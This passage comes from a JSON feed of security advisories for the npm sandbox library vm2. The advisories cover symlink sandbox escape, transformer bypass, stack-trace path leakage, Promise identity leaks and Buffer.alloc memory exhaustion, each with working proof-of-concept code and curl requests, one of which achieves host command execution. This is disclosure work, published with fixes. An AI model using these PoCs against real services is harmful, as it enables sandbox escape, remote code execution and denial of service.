specifically.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-07T05:13:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","https://github.com/patriksimek/vm2/releases/tag/v3.11.1","https://nvd.nist.gov/vuln/detail/CVE-2026-44007","http://www.openwall.com/lists/oss-security/2026/05/05/11","https://github.com/advisories/GHSA-8hg8-63c5-gwmx"],"source_kind":"github","identifiers":["GHSA-8hg8-63c5-gwmx","CVE-2026-44007"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T06:00:08.660Z","updated_at":"2026-10-12T12:04:46.349Z","epss_percentage":0.00612,"epss_percentile":0.475,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGc4LTYzYzUtZ3dteM4ABWYS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aGc4LTYzYzUtZ3dteM4ABWYS","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.1","vulnerable_version_range":"\u003c= 3.11.0"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGc4LTYzYzUtZ3dteM4ABWYS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcDZnLTY2OTktd3g5Y84ABWYR","url":"https://github.com/advisories/GHSA-cp6g-6699-wx9c","title":"vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape","description":"## Summary\nNodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.\n\n## Severity\n**High** (CVSS 3.1: 8.5)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system\n- **Confidentiality Impact:** High — arbitrary file read via host command execution\n- **Integrity Impact:** High — arbitrary command execution on the host\n- **Availability Impact:** High — arbitrary command execution on the host\n\n## Affected Component\n- `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60)\n- `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66)\n- `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10)\n\n## CWE\n- **CWE-59**: Improper Link Resolution Before File Access\n\n## Description\n\n### Root Cause: Check/Use Path Discrepancy\n\nThe `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:\n\n```js\n// lib/resolver-compat.js:53-60\nisPathAllowed(filename) {\n    return this.rootPaths === undefined || this.rootPaths.some(path =\u003e {\n        if (!filename.startsWith(path)) return false;\n        const len = path.length;\n        if (filename.length === len || (len \u003e 0 \u0026\u0026 this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(filename[len]);\n    });\n}\n```\n\nThe filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:\n\n```js\n// lib/filesystem.js:8-10\nresolve(path) {\n    return pa.resolve(path);\n}\n```\n\n`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check.\n\nHowever, the actual module loading uses Node's native `require()`, which **does** follow symlinks:\n\n```js\n// lib/resolver-compat.js:62-66\nloadJS(vm, mod, filename) {\n    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n    const m = this.hostRequire(filename);\n    mod.exports = vm.readonly(m);\n}\n```\n\n### No Symlink Defenses Exist\n\nA search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f =\u003e fsOpt.resolve(f)) : undefined;\n```\n\n### Full Execution Chain\n\n1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }`\n2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)\n3. Sandbox code calls `require('safe')`\n4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`\n5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)\n6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES**\n7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)`\n8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js`\n9. Module executes in host realm; exports proxied to sandbox\n10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)\n\n## Proof of Concept\n\n```js\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\nconst { NodeVM } = require('vm2');\n\n// Create an \"allowed\" root directory\nconst root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));\nfs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });\n\n// Symlink inside root pointing to vm2 package outside root\n// In real deployments: pnpm, npm link, workspaces create these automatically\nconst link = path.join(root, 'node_modules', 'safe');\nfs.symlinkSync(path.resolve(__dirname), link, 'dir');\n\nconst vm = new NodeVM({\n  require: {\n    external: ['safe'],\n    root,\n    context: 'host',\n    builtin: [],       // no builtins allowed\n  },\n});\n\n// Sandbox code loads vm2 from outside root via symlink,\n// creates a privileged inner NodeVM to get child_process\nconst out = vm.run(`\n  const { NodeVM } = require('safe');\n  const inner = new NodeVM({ require: { builtin: ['child_process'] } });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'inner.js'\n  );\n`, path.join(root, 'vm.js'));\n\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\n```\n\n## Impact\n- **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.\n- **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.\n- **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.\n- **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.\n- **Silent failure**: No error or warning is raised when a symlink traverses outside the root.\n\n## Recommended Remediation\n\n### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)\n\nResolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:\n\n```js\n// lib/filesystem.js — add a realpath method\nconst fs = require('fs');\n\nclass DefaultFileSystem {\n    resolve(path) {\n        return pa.resolve(path);\n    }\n\n    realpath(path) {\n        return fs.realpathSync(path);\n    }\n    // ... rest unchanged\n}\n```\n\n```js\n// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it\nisPathAllowed(filename) {\n    let realFilename;\n    try {\n        realFilename = this.fs.realpath(filename);\n    } catch (e) {\n        return false; // file doesn't exist or can't be resolved\n    }\n    return this.rootPaths === undefined || this.rootPaths.some(path =\u003e {\n        if (!realFilename.startsWith(path)) return false;\n        const len = path.length;\n        if (realFilename.length === len || (len \u003e 0 \u0026\u0026 this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(realFilename[len]);\n    });\n}\n```\n\nAlso dereference root paths at construction time:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f =\u003e {\n    const resolved = fsOpt.resolve(f);\n    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }\n}) : undefined;\n```\n\n**Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.\n\n### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`\n\nAdd a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:\n\n```js\nmakeExtensionHandler(vm, name) {\n    return (mod, filename) =\u003e {\n        filename = this.fs.resolve(filename);\n        // Dereference symlinks before access check\n        try {\n            const realFilename = fs.realpathSync(filename);\n            if (realFilename !== filename) {\n                // Filename was a symlink — validate the real path too\n                this.checkAccess(mod, realFilename);\n            }\n        } catch (e) {\n            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');\n        }\n        this.checkAccess(mod, filename);\n        this[name](vm, mod, filename);\n    };\n}\n```\n\n**Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-07T04:33:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-43998","https://github.com/advisories/GHSA-cp6g-6699-wx9c"],"source_kind":"github","identifiers":["GHSA-cp6g-6699-wx9c","CVE-2026-43998"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.182Z","updated_at":"2026-10-12T12:04:46.349Z","epss_percentage":0.00851,"epss_percentile":0.56524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcDZnLTY2OTktd3g5Y84ABWYR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcDZnLTY2OTktd3g5Y84ABWYR","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcDZnLTY2OTktd3g5Y84ABWYR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cDVyLTJndzUtbTdxN84ABWYQ","url":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7","title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) \u0026\u0026 code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T04:32:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44003","https://github.com/advisories/GHSA-wp5r-2gw5-m7q7"],"source_kind":"github","identifiers":["GHSA-wp5r-2gw5-m7q7","CVE-2026-44003"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-12T12:04:46.350Z","epss_percentage":0.00351,"epss_percentile":0.26511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDVyLTJndzUtbTdxN84ABWYQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cDVyLTJndzUtbTdxN84ABWYQ","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cDVyLTJndzUtbTdxN84ABWYQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MjdnLWpjcWotdjhyd84ABWYP","url":"https://github.com/advisories/GHSA-v27g-jcqj-v8rw","title":"vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak","description":"### Summary\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A — Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B — prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T04:30:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44002","https://github.com/advisories/GHSA-v27g-jcqj-v8rw"],"source_kind":"github","identifiers":["GHSA-v27g-jcqj-v8rw","CVE-2026-44002"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-12T12:04:46.350Z","epss_percentage":0.00341,"epss_percentile":0.25536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MjdnLWpjcWotdjhyd84ABWYP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MjdnLWpjcWotdjhyd84ABWYP","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MjdnLWpjcWotdjhyd84ABWYP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcGY4LTRoeDItN2NqZ84ABWYO","url":"https://github.com/advisories/GHSA-mpf8-4hx2-7cjg","title":"vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary","description":"### Summary\n\nA sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution.\n\nWhen a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:\n\n- Performing identity checks using host-side `WeakMap`\n- Mutating host object state from inside the sandbox\n\nThis behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.\n\nAs a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.\n\n---\n\n### Details\n\nIn `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:\n\n```js\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\n  resetPromiseSpecies(this);\n\n  if (typeof onFulfilled === 'function') {\n    const origOnFulfilled = onFulfilled;\n    onFulfilled = function onFulfilled(value) {\n      value = ensureThis(value);\n      return apply(origOnFulfilled, this, [value]);\n    };\n  }\n\n  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\n};\n\n\nThe wrapper calls ensureThis(value) before invoking the sandbox callback.\n\nHowever, ensureThis is implemented in bridge.js as thisEnsureThis():\n\nfunction thisEnsureThis(other) {\n  const type = typeof other;\n\n  switch (type) {\n    case 'object':\n      if (other === null) return null;\n\n    case 'function':\n      let proto = thisReflectGetPrototypeOf(other);\n\n      if (!proto) {\n        return other;\n      }\n\n      while (proto) {\n        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);\n\n        if (mapping) {\n          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\n          if (mapped) return mapped;\n          return mapping(defaultFactory, other);\n        }\n\n        proto = thisReflectGetPrototypeOf(proto);\n      }\n\n      return other;\n\nIf no prototype mapping is found, ensureThis() simply returns the original object:\n\nreturn other;\n\nThis means the sandbox receives the original host object instead of a proxied or sanitized representation.\n\nBecause of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.\n\nPoC\n\nThe following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.\n\nWeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.\n\nPoC Code\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\"};\nconst hostPromise = Promise.resolve(hostObj);\n\n// WeakMap created on the host\nconst wm = new WeakMap([[hostObj, \"HIT\"]]);\n\nconst vm = new VM({\n  sandbox: {hostPromise, wm},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v =\u003e ({\n    weakMapGet: wm.get(v),\n    typeofV: typeof v,\n    tag: v.tag\n  }))\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST SAME KEY STILL:\", wm.get(hostObj));\nOutput\nVM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }\nHOST SAME KEY STILL: HIT\n\nThis confirms that the object delivered to the sandbox callback retains host identity.\n\nAdditional Demonstration: Host Object Mutation\n\nThe sandbox can also mutate host object state through the resolved Promise value.\n\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\", nested: {x: 1}};\nconst hostPromise = Promise.resolve(hostObj);\n\nconst vm = new VM({\n  sandbox: {hostPromise},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v =\u003e {\n    v.nested.x = 999;\n    v.tag = \"MUTATED\";\n    return { seenTag: v.tag, seenX: v.nested.x };\n  })\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST AFTER:\", hostObj);\n\n**Output:**\nVM RESULT: { seenTag: 'MUTATED', seenX: 999 }\nHOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }\n\nThis demonstrates write-through mutation of a host object from sandbox code.\n\n**Impact**\nThis vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.\n\nConsequences include:\n\nHost object identity disclosure\n\nWrite-through mutation of host objects\n\nWeakMap / WeakSet identity oracle across the boundary\n\nPotential capability leaks if sensitive host objects are reachable via Promises\n\nApplications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.\n\nThis weakens the intended isolation guarantees of vm2.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T04:29:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44000","https://github.com/advisories/GHSA-mpf8-4hx2-7cjg"],"source_kind":"github","identifiers":["GHSA-mpf8-4hx2-7cjg","CVE-2026-44000"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-12T12:04:50.401Z","epss_percentage":0.0029,"epss_percentile":0.19514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcGY4LTRoeDItN2NqZ84ABWYO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcGY4LTRoeDItN2NqZ84ABWYO","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcGY4LTRoeDItN2NqZ84ABWYO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Nzg1LXB2djctbXZnN84ABWYN","url":"https://github.com/advisories/GHSA-6785-pvv7-mvg7","title":"vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion","description":"### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 — timeout had no effect\n\n// Control test — JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload — process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test — JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely 